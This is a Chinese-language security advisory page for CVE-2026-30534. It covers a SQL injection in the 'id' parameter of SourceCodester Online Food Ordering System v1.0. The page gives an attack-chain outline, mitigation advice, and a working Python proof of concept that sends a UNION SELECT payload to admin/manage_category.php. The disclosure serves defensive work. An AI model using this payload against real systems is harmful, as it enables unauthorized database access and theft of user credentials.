IPBUF安全漏洞报告
English
CVE-2026-30534 CVSS 8.3 高危

CVE-2026-30534 SourceCodester SQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-30534
漏洞类型
SQL注入
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Online Food Ordering System

相关标签

SQL注入CVE-2026-30534SourceCodesterWeb安全Metasploit

漏洞概述

SourceCodester在线订餐系统v1.0在admin/manage_category.php接口处存在严重的SQL注入漏洞。由于系统未对“id”参数进行有效过滤,攻击者可利用低权限账户构造恶意SQL语句,从而窃取数据库敏感信息、篡改用户数据或进一步获取服务器控制权,对业务安全构成重大威胁。

技术细节

该漏洞属于典型的SQL注入漏洞,其根源在于应用程序缺乏对用户输入的严格验证。在SourceCodester在线订餐系统v1.0的后端逻辑中,admin/manage_category.php脚本直接将用户传入的“id”参数拼接到SQL查询语句中,未使用预编译语句或进行转义处理。攻击者可以通过发送包含单引号、UNION操作符或注释符的特制HTTP请求,改变原始查询逻辑。由于CVSS向量显示权限要求为低(PR:L),攻击者仅需拥有普通用户权限即可利用此漏洞,进而读取数据库结构、导出管理员密码哈希,甚至写入WebShell。

攻击链分析

STEP 1
侦察
攻击者识别目标系统运行SourceCodester Online Food Ordering System v1.0,并定位到admin/manage_category.php接口。
STEP 2
获取访问权限
攻击者注册或通过低权限账户登录系统(CVSS PR:L),确保能访问后台管理页面。
STEP 3
漏洞利用
攻击者向目标URL发送包含恶意SQL注入Payload的请求,操控“id”参数以执行非预期的SQL命令。
STEP 4
数据窃取与控制
利用SQL注入漏洞提取数据库敏感信息(如用户凭据),或在服务器上执行进一步的攻击指令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-30534 SQL Injection import requests target_url = "http://target.com/admin/manage_category.php" # Malicious payload to extract database version using UNION SELECT payload = "1' UNION SELECT 1, version(), 3, 4, 5, 6, 7, 8, 9, 10-- -" params = {"id": payload} try: # Send request with the malicious payload response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed!") print("[+] Check response content for database version output.") # print(response.text) # Uncomment to debug output else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

SourceCodester Online Food Ordering System v1.0

防御指南

临时缓解措施
在未发布官方补丁前,建议在Web应用防火墙(WAF)中部署规则,拦截针对admin/manage_category.php的异常请求,特别是包含UNION、SELECT、单引号等SQL关键字符的流量。同时,应强制将“id”参数转换为整数类型以阻断利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表